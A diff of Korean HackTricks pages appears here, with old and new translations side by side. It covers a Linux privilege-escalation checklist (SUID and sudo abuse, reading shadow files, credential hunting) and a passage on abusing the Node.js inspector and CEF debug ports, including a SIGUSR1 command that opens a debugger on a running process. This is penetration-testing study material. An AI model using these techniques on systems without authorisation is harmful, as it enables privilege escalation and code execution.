* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원하신다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **우리와 함께하세요** 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
경험 많은 해커 및 버그 바운티 헌터들과 소통하려면 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요! 경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\ **해킹 통찰력**\
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용 해킹의 스릴과 도전에 대한 내용을 탐구하세요.
**실시간 해킹 뉴스**\ **실시간 해킹 뉴스**\
빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지**\ **최신 공지사항**\
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아두세요 새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**우리와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하여 최고의 해커들과 협업을 시작하세요! 오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
### **Linux 로컬 권한 상승 벡터를 찾는 데 가장 좋은 도구:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) ### **리눅스 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [시스템 정보](privilege-escalation/#system-information) ### [시스템 정보](privilege-escalation/#system-information)
* [ ] **OS 정보** 가져오기 * [ ] **OS 정보** 가져오기
* [ ] [**PATH**](privilege-escalation/#path) 확인, **쓰기 가능한 폴더**가 있는지 확인 * [ ] [**PATH**](privilege-escalation/#path) 확인, **쓰기 가능한 폴더**가 있나요?
* [ ] [**환경 변수**](privilege-escalation/#env-info) 확인, 민감한 세부 정보가 있는지 확인 * [ ] [**env 변수**](privilege-escalation/#env-info) 확인, 민감한 정보가 있나요?
* [**스크립트를 사용하여**](privilege-escalation/#kernel-exploits) **커널 익스플로잇** 검색 (DirtyCow?) * [ ] [**커널 익스플로잇**](privilege-escalation/#kernel-exploits) **스크립트를 사용하여 검색** (DirtyCow?)
* [ ] [**sudo 버전**이 취약한지 확인](privilege-escalation/#sudo-version) * [ ] [**sudo 버전**이 취약한지](privilege-escalation/#sudo-version) **확인**
* [ ] [**Dmesg** 서명 검증 실패](privilege-escalation/#dmesg-signature-verification-failed) * [ ] [**Dmesg** 서명 검증 실패](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] 추가 시스템 열거 ([날짜, 시스템 통계, CPU 정보, 프린터](privilege-escalation/#more-system-enumeration)) * [ ] 더 많은 시스템 열거 ([날짜, 시스템 통계, CPU 정보, 프린터](privilege-escalation/#more-system-enumeration))
* [ ] [방어 기능 추가 열거](privilege-escalation/#enumerate-possible-defenses) * [ ] [**더 많은 방어 수단 열거**](privilege-escalation/#enumerate-possible-defenses)
### [드라이브](privilege-escalation/#drives) ### [드라이브](privilege-escalation/#drives)
* [ ] 마운트된 드라이브 목록 * [ ] **마운트된** 드라이브 목록
* [ ] 마운트되지 않은 드라이브가 있나요? * [ ] **마운트되지 않은 드라이브가 있나요?**
* [ ] fstab에 자격 증명이 있나요? * [ ] **fstab에 자격 증명이 있나요?**
### [**설치된 소프트웨어**](privilege-escalation/#installed-software) ### [**설치된 소프트웨어**](privilege-escalation/#installed-software)
* [**설치된 유용한 소프트웨어**](privilege-escalation/#useful-software) 확인 * [ ] **설치된** [**유용한 소프트웨어**](privilege-escalation/#useful-software) **확인**
* [**설치된 취약한 소프트웨어**](privilege-escalation/#vulnerable-software-installed) 확인 * [ ] **설치된** [**취약한 소프트웨어**](privilege-escalation/#vulnerable-software-installed) **확인**
### [프로세스](privilege-escalation/#processes) ### [프로세스](privilege-escalation/#processes)
* [ ] 알 수 없는 소프트웨어가 실행 중인가요? * [ ] **알 수 없는 소프트웨어가 실행되고 있나요?**
* [ ] 권한보다 더 많은 권한으로 실행 중인 소프트웨어가 있나요? * [ ] **더 많은 권한을 가진 소프트웨어가 실행되고 있나요?**
* [ ] 실행 중인 프로세스의 **익스플로잇** 검색 (특히 실행 중인 버전) * [ ] **실행 중인 프로세스의 익스플로잇 검색** (특히 실행 중인 버전).
* [ ] 실행 중인 프로세스의 **바이너리**를 수정할 수 있나요? * [ ] **실행 중인 프로세스의 바이너리를 수정할 수 있나요?**
* [ ] 프로세스를 **모니터링**하고 자주 실행되는 흥미로운 프로세스가 있는지 확인하세요. * [ ] **프로세스를 모니터링**하고 흥미로운 프로세스가 자주 실행되는지 확인하세요.
* [ ] 흥미로운 **프로세스 메모리**를 읽을 수 있나요 (비밀번호가 저장될 수 있는 위치)? * [ ] **흥미로운 프로세스 메모리**를 **읽을 수 있나요** (비밀번호가 저장될 수 있는 곳)?
### [예약/Cron 작업?](privilege-escalation/#scheduled-jobs) ### [예약된/크론 작업?](privilege-escalation/#scheduled-jobs)
* [ ] 어떤 cron이 [**PATH**](privilege-escalation/#cron-path)를 수정하고 쓸 수 있는지 확인하세요. * [ ] [**PATH**](privilege-escalation/#cron-path)가 크론에 의해 수정되고 있으며 **쓰기**가 가능한가요?
* [ ] 크론 작업에 **와일드카드**가 있나요? * [ ] 크론 작업에 [**와일드카드**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)가 있나요?
* [ ] 실행 중인 **스크립트**가 있거나 **수정 가능한 폴더**에 있는 스크립트가 실행 중인가요? * [ ] **수정 가능한 스크립트**가 **실행되고 있거나 수정 가능한 폴더**에 있나요?
* [ ] 어떤 **스크립트**가 매우 **자주 실행**되고 있는지 감지했나요? (1, 2 또는 5분마다) * [ ] 어떤 **스크립트**가 [**매우 자주 실행되고 있는지**](privilege-escalation/#frequent-cron-jobs) 감지했나요? (1, 2 또는 5분마다)
### [서비스](privilege-escalation/#services) ### [서비스](privilege-escalation/#services)
* [ ] **쓰기 가능한 .service** 파일이 있나요? * [ ] **쓰기 가능한 .service** 파일이 있나요?
* [ ] **서비스**에 의해 실행되는 **쓰기 가능한 바이너리**가 있나요? * [ ] **서비스에 의해 실행되는** **쓰기 가능한 바이너리**가 있나요?
* [ ] systemd PATH에 **쓰기 가능한 폴더**가 있나요? * [ ] **systemd PATH에 쓰기 가능한 폴더**가 있나요?
### [타이머](privilege-escalation/#timers) ### [타이머](privilege-escalation/#timers)
@ -82,86 +83,117 @@ HackTricks를 지원하는 다른 방법:
### [소켓](privilege-escalation/#sockets) ### [소켓](privilege-escalation/#sockets)
* [ ] **쓰기 가능한 .socket** 파일이 있나요? * [ ] **쓰기 가능한 .socket** 파일이 있나요?
* [ ] 어떤 소켓과 **통신**할 수 있나요? * [ ] **어떤 소켓과 통신할 수 있나요?**
* [ ] 흥미로운 정보가 있는 **HTTP 소켓**이 있나요? * [ ] **흥미로운 정보가 있는 HTTP 소켓**이 있나요?
### [D-Bus](privilege-escalation/#d-bus) ### [D-Bus](privilege-escalation/#d-bus)
* [ ] 어떤 D-Bus와 **통신**할 수 있나요? * [ ] **어떤 D-Bus와 통신할 수 있나요?**
### [네트워크](privilege-escalation/#network) ### [네트워크](privilege-escalation/#network)
* 네트워크를 열거하여 현재 위치를 파악하세요 * [ ] 네트워크를 열거하여 당신이 어디에 있는지 알아보세요.
* 쉘을 획들한 후 **접근할 수 없었던 포트**를 열었나요? * [ ] **기계 내부에서 쉘을 얻기 전에 접근할 수 없었던 열린 포트**가 있나요?
* `tcpdump`를 사용하여 **트래픽을 스니핑**할 수 있나요? * [ ] `tcpdump`를 사용하여 **트래픽을 스니핑할 수 있나요?**
### [사용자](privilege-escalation/#users) ### [사용자](privilege-escalation/#users)
* 일반 사용자/그룹 **열거** * [ ] 일반 사용자/그룹 **열거**
* **매우 큰 UID**를 가지고 있나요? **머신**이 **취약**한가요? * [ ] **매우 큰 UID**가 있나요? **기계가 취약한가요?**
* 소속한 그룹을 통해 **권한 상승**할 수 있나요? * [ ] 당신이 속한 [**그룹 덕분에 권한을 상승시킬 수 있나요**](privilege-escalation/interesting-groups-linux-pe/)?
* **클립보드** 데이터? * [ ] **클립보드** 데이터?
* 호 정책? * [ ] 비밀번호 정책?
* 이전에 발견한 모든 **알려진 암호**를 사용하여 각 **가능한 사용자**로 로그인해 보세요. 암호 없이도 로그인을 시도해 보세요. * [ ] 이전에 발견한 **모든 알려진 비밀번호**를 사용하여 **각 사용자**로 로그인 시도해 보세요. 비밀번호 없이도 로그인 시도해 보세요.
### [쓰기 가능한 PATH](privilege-escalation/#writable-path-abuses) ### [쓰기 가능한 PATH](privilege-escalation/#writable-path-abuses)
* **PATH의 일부 폴더에 쓰기 권한**이 있다면 권한 상승이 가능할 수 있습니다 * [ ] **PATH의 일부 폴더에 쓰기 권한**이 있다면 권한을 상승시킬 수 있습니다.
### [SUDO 및 SUID 명령](privilege-escalation/#sudo-and-suid) ### [SUDO 및 SUID 명령](privilege-escalation/#sudo-and-suid)
* **sudo로** **명령을 실행**할 수 있나요? ROOT로 **읽기, 쓰기 또는 실행**할 수 있나요? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] **sudo로 어떤 명령을 실행할 수 있나요?** 루트로 **READ, WRITE 또는 EXECUTE**할 수 있나요? ([**GTFOBins**](https://gtfobins.github.io))
* **익스플로잇 가능한 SUID 바이너리**가 있나요? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] **악용 가능한 SUID 바이너리**가 있나요? ([**GTFOBins**](https://gtfobins.github.io))
* [**sudo 명령이 경로로 제한**되었나요? 제한을 **우회**할 수 있나요](privilege-escalation/#sudo-execution-bypassing-paths)? * [ ] [**sudo** 명령이 **경로에 의해 제한**되어 있나요? 제한을 **우회**할 수 있나요](privilege-escalation/#sudo-execution-bypassing-paths)?
* [**명령 경로를 지정하지 않은 sudo/SUID 바이너리**가 있나요](privilege-escalation/#sudo-command-suid-binary-without-command-path)? * [ ] [**경로가 표시되지 않은 Sudo/SUID 바이너리**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
* [**경로를 지정한 SUID 바이너리**](privilege-escalation/#suid-binary-with-command-path)? 우회 * [ ] [**경로를 지정한 SUID 바이너리**](privilege-escalation/#suid-binary-with-command-path)? 우회
* [**LD\_PRELOAD 취약점**](privilege-escalation/#ld\_preload) * [ ] [**LD\_PRELOAD 취약점**](privilege-escalation/#ld\_preload)
* 쓰기 가능한 폴더에서 **SUID 바이너리에 .so 라이브러리가 없는 경우**](privilege-escalation/#suid-binary-so-injection)가 있나요? * [ ] [**SUID 바이너리에서 .so 라이브러리 부족**](privilege-escalation/#suid-binary-so-injection) 쓰기 가능한 폴더에서?
* [**SUDO 토큰**을 사용할 수 있나요](privilege-escalation/#reusing-sudo-tokens)? [**SUDO 토큰을 생성**할 수 있나요](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? * [ ] [**사용 가능한 SUDO 토큰**](privilege-escalation/#reusing-sudo-tokens)? [**SUDO 토큰을 생성할 수 있나요**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
* [**sudoers 파일을 읽거나 수정**할 수 있나요](privilege-escalation/#etc-sudoers-etc-sudoers-d)? * [ ] [**sudoers 파일을 읽거나 수정할 수 있나요**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
* [**/etc/ld.so.conf.d/**를 수정할 수 있나요](privilege-escalation/#etc-ld-so-conf-d)? * [ ] [**/etc/ld.so.conf.d/**를 수정할 수 있나요](privilege-escalation/#etc-ld-so-conf-d)?
* [**OpenBSD DOAS**](privilege-escalation/#doas) 명령 * [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) 명령
### [권한](privilege-escalation/#capabilities)
* [ ] 어떤 이진 파일이 **예상치 못한 권한**을 갖고 있습니까? ### [능력](privilege-escalation/#capabilities)
* [ ] 어떤 바이너리에 **예상치 못한 능력**이 있나요?
### [ACLs](privilege-escalation/#acls) ### [ACLs](privilege-escalation/#acls)
* [ ] 어떤 파일이 **예상치 못한 ACL**을 갖고 있습니까? * [ ] 어떤 파일에 **예상치 못한 ACL**이 있나요?
### [열린 세션](privilege-escalation/#open-shell-sessions) ### [열린 세션](privilege-escalation/#open-shell-sessions)
* [ ] **screen** * [ ] **screen**
* [ ] **tmux** * [ ] **tmux**
### [SSH](privilege-escalation/#ssh) ### [SSH](privilege-escalation/#ssh)
* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) * [ ] **Debian** [**OpenSSL 예측 가능한 PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
* [ ] [**SSH 흥미로운 구성 값**](privilege-escalation/#ssh-interesting-configuration-values) * [ ] [**SSH 흥미로운 구성 값**](privilege-escalation/#ssh-interesting-configuration-values)
### [흥미로운 파일](privilege-escalation/#interesting-files) ### [흥미로운 파일](privilege-escalation/#interesting-files)
* [ ] **프로필 파일** - 민감한 데이터 읽기? 권한 상승을 위해 쓰기? * [ ] **프로파일 파일** - 민감한 데이터 읽기? 권한 상승을 위한 쓰기?
* [ ] **passwd/shadow 파일** - 민감한 데이터 읽기? 권한 상승을 위 쓰기? * [ ] **passwd/shadow 파일** - 민감한 데이터 읽기? 권한 상승을 위 쓰기?
* [ ] **민감한 데이터가 있는 일반적으로 흥미로운 폴더** 확인 * [ ] 민감한 데이터에 대한 **일반적으로 흥미로운 폴더** 확인
* [ ] **이상한 위치/소유 파일**, 실행 파일에 액세스하거나 변경할 수 있음 * [ ] **이상한 위치/소유 파일,** 접근하거나 실행 파일을 변경할 수 있는 파일
* [ ] **최근 수정됨** * [ ] **최근 몇 분 내에 수정됨**
* [ ] **Sqlite DB 파일** * [ ] **Sqlite DB 파일**
* [ ] **숨겨진 파일** * [ ] **숨겨진 파일**
* [ ] **경로에 있는 스크립트/바이너리** * [ ] **PATH의 스크립트/바이너리**
* [ ] **웹 파일** (비밀번호?) * [ ] **웹 파일** (비밀번호?)
* [ ] **백업**? * [ ] **백업**?
* [ ] **비밀번호를 포함하는 알려진 파일**: **Linpeas****LaZagne** 사용 * [ ] **비밀번호가 포함된 알려진 파일**: **Linpeas****LaZagne** 사용
* [ ] **일반적인 검색** * [ ] **일반 검색**
### [**쓰기 가능한 파일**](privilege-escalation/#writable-files) ### [**쓰기 가능한 파일**](privilege-escalation/#writable-files)
* [ ] **파이썬 라이브러리 수정**하여 임의 명령 실행 가능? * [ ] **파이썬 라이브러리 수정**하여 임의 명령 실행?
* [ ] **로그 파일 수정** 가능한가? **Logtotten** exploit * [ ] **로그 파일을 수정할 수 있나요?** **Logtotten** 익스플로잇
* [ ] **/etc/sysconfig/network-scripts/**를 **수정**할 수 있나요? Centos/Redhat exploit * [ ] **/etc/sysconfig/network-scripts/**를 수정할 수 있나요? Centos/Redhat 익스플로잇
* [ ] [**ini, int.d, systemd 또는 rc.d 파일에 쓸 수 있나요**](privilege-escalation/#init-init-d-systemd-and-rc-d)? * [ ] [**ini, int.d, systemd 또는 rc.d 파일에 쓸 수 있나요**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
### [**기타 요령**](privilege-escalation/#other-tricks) ### [**기타 **](privilege-escalation/#other-tricks)
* [ ] [**권한 상승을 위해 NFS 남용 가능**](privilege-escalation/#nfs-privilege-escalation)? * [ ] [**NFS를 악용하여 권한을 상승시킬 수 있나요**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] **제한적인 쉘에서 탈출**해야 하나요? * [ ] [**제한된 셸에서 탈출해야 하나요**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대한 내용을 탐구하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Node inspector/CEF debug 남용 # Node inspector/CEF debug abuse
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong>!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
## 기본 정보
[문서에서](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started) 가져온 내용: `--inspect` 스위치로 시작하면 Node.js 프로세스가 디버깅 클라이언트를 수신합니다. **기본적으로**, 호스트 및 포트 **`127.0.0.1:9229`**에서 수신합니다. 각 프로세스에는 **고유한** **UUID**가 할당됩니다.
Inspector 클라이언트는 호스트 주소, 포트 및 UUID를 알고 지정하여 연결해야 합니다. 전체 URL은 `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`와 같을 것입니다.
{% hint style="warning" %}
**디버거가 Node.js 실행 환경에 완전한 액세스 권한을 갖기 때문에**, 이 포트에 연결할 수 있는 악의적인 사용자는 Node.js 프로세스를 통해 임의의 코드를 실행할 수 있을 수 있습니다 (**잠재적인 권한 상승**).
{% endhint %} {% endhint %}
Inspector를 시작하는 여러 가지 방법이 있습니다: ## Basic Information
[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` 스위치로 시작하면, Node.js 프로세스는 디버깅 클라이언트를 위해 대기합니다. **기본적으로**, 호스트와 포트 **`127.0.0.1:9229`**에서 대기합니다. 각 프로세스는 **고유한** **UUID**도 할당받습니다.
Inspector 클라이언트는 연결하기 위해 호스트 주소, 포트 및 UUID를 알고 지정해야 합니다. 전체 URL은 `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`와 비슷하게 보일 것입니다.
{% hint style="warning" %}
**디버거가 Node.js 실행 환경에 완전한 접근 권한을 가지고 있기 때문에**, 이 포트에 연결할 수 있는 악의적인 행위자는 Node.js 프로세스를 대신하여 임의의 코드를 실행할 수 있습니다 (**잠재적인 권한 상승**).
{% endhint %}
Inspector를 시작하는 방법은 여러 가지가 있습니다:
```bash ```bash
node --inspect app.js #Will run the inspector in port 9229 node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444 node --inspect=4444 app.js #Will run the inspector in port 4444
@ -35,50 +36,51 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
``` ```
검사된 프로세스를 시작하면 다음과 같은 내용이 표시됩니다: When you start an inspected process something like this will appear:
검사된 프로세스를 시작하면 다음과 같은 내용이 나타납니다:
``` ```
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector For help, see: https://nodejs.org/en/docs/inspector
``` ```
**CEF** (**Chromium Embedded Framework**)와 같은 기반 **프로세스**는 **디버거**를 열기 위해 `--remote-debugging-port=9222`와 같은 **매개변수**를 사용해야 합니다 (SSRF 보호 기능은 매우 유사한 상태로 유지됩니다). 그러나 이들은 **NodeJS 디버그** 세션을 부여하는 대신 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)을 사용하여 브라우저와 통신할 것입니다. 이는 브라우저를 제어하기 위한 인터페이스이지만 직접적인 RCE는 없습니다. Processes based on **CEF** (**Chromium Embedded Framework**)는 **debugger**를 열기 위해 `--remote-debugging-port=9222` 매개변수를 사용해야 합니다 (SSRF 보호는 매우 유사하게 유지됩니다). 그러나, 그들은 **NodeJS** **debug** 세션을 부여하는 대신 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)을 사용하여 브라우저와 통신니다. 이는 브라우저를 제어하기 위한 인터페이스이지만, 직접적인 RCE는 없습니다.
디버그된 브라우저를 시작하면 다음과 같은 내용이 나타납니다: 디버그된 브라우저를 시작하면 다음과 같은 이 나타납니다:
``` ```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
``` ```
### 브라우저, 웹소켓 및 동일 출처 정책 <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a> ### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
웹 브라우저에서 열리는 웹사이트는 브라우저 보안 모델에 따라 WebSocket 및 HTTP 요청을 할 수 있습니다. **고유한 디버거 세션 ID를 얻기 위해 초기 HTTP 연결**이 필요합니다. **동일 출처 정책**은 웹사이트가 **이 HTTP 연결**을 만들 수 없도록 합니다. [**DNS 리바인딩 공격**](https://en.wikipedia.org/wiki/DNS\_rebinding)**에 대한 추가 보안으로,** Node.js는 연결의 **'Host' 헤더**가 **IP 주소** 또는 **`localhost`** 또는 **`localhost6`**을 명확히 지정해야 한다고 확인합니다. 웹 브라우저에서 열리는 웹사이트는 브라우저 보안 모델에 따라 WebSocket 및 HTTP 요청을 할 수 있습니다. **고유한 디버거 세션 ID를 얻기 위해** **초기 HTTP 연결**이 필요합니다. **동일 출처 정책**은 웹사이트가 **이 HTTP 연결**을 만들 수 없도록 **방지**합니다. [**DNS 리바인딩 공격**](https://en.wikipedia.org/wiki/DNS\_rebinding)**에 대한 추가 보안을 위해,** Node.js는 연결의 **'Host' 헤더**가 **IP 주소** 또는 **`localhost`** 또는 **`localhost6`**를 정확히 지정하는지 확인합니다.
{% hint style="info" %} {% hint style="info" %}
**보안 조치는 인스펙터를 악용하여 코드를 실행하는 것을 방지**하여 **단순히 HTTP 요청을 보내는 것**으로 (SSRF 취약점을 악용할 수 있는) **공격을 방지**합니다. **보안 조치는 HTTP 요청을 보내기만 해도** 코드를 실행하기 위해 인스펙터를 악용하는 것을 **방지합니다** (이는 SSRF 취약점을 악용하여 수행할 수 있습니다).
{% endhint %} {% endhint %}
### 실행 중인 프로세스에서 인스펙터 시작 ### Starting inspector in running processes
실행 중인 nodejs 프로세스에 **시그널 SIGUSR1**을 보내면 **기본 포트에서 인스펙터를 시작**할 수 있습니다. 그러나 충분한 권한이 필요하므로 이로 인해 **프로세스 내부 정보에 대한 특권 액세스**가 부여될 수 있지만 직접적인 특권 상승은 이루어지지 않을 수 있습니다. 실행 중인 nodejs 프로세스에 **신호 SIGUSR1**을 보내면 기본 포트에서 **인스펙터를 시작**하게 할 수 있습니다. 그러나 충분한 권한이 필요하므로, 이는 **프로세스 내부의 정보에 대한 권한 있는 접근을 부여할 수 있지만** 직접적인 권한 상승은 아닙니다.
```bash ```bash
kill -s SIGUSR1 <nodejs-ps> kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
``` ```
{% hint style="info" %} {% hint style="info" %}
컨테이너에서 유용한 이유는 `--inspect`**프로세스를 종료하고 새로 시작**하는 것이 **옵션으로 사용할 수 없기** 때문에 **컨테이너**가 **프로세스와 함께 종료**될 것이기 때문입니다. 이것은 컨테이너에서 유용합니다. 왜냐하면 `--inspect`**프로세스를 종료하고 새로 시작하는 것**은 **옵션이 아니기 때문**입니다. **컨테이너**는 **프로세스와 함께 종료됩니다**.
{% endhint %} {% endhint %}
### Inspector/Debugger에 연결 ### 검사기/디버거에 연결
**크로미움 기반 브라우저**에 연결하려면 Chrome 또는 Edge에 대해 각각 `chrome://inspect` 또는 `edge://inspect` URL에 액세스할 수 있습니다. 구성 버튼을 클릭하여 **대상 호스트와 포트**가 올바르게 나열되어 있는지 확인해야 합니다. 다음 이미지는 원격 코드 실행(RCE) 예제를 보여줍니다: **Chromium 기반 브라우저**에 연결하려면 Chrome 또는 Edge에 대해 각각 `chrome://inspect` 또는 `edge://inspect` URL에 접근할 수 있습니다. 구성 버튼을 클릭하여 **대상 호스트와 포트**가 올바르게 나열되어 있는지 확인해야 합니다. 이미지는 원격 코드 실행(RCE) 예제를 보여줍니다:
![](<../../.gitbook/assets/image (674).png>) ![](<../../.gitbook/assets/image (674).png>)
**명령줄**을 사용하여 디버거/인스펙터에 연결할 수 있습니다: **명령줄**을 사용하여 다음과 같이 디버거/검사기에 연결할 수 있습니다:
```bash ```bash
node inspect <ip>:<port> node inspect <ip>:<port>
node inspect 127.0.0.1:9229 node inspect 127.0.0.1:9229
# RCE example from debug console # RCE example from debug console
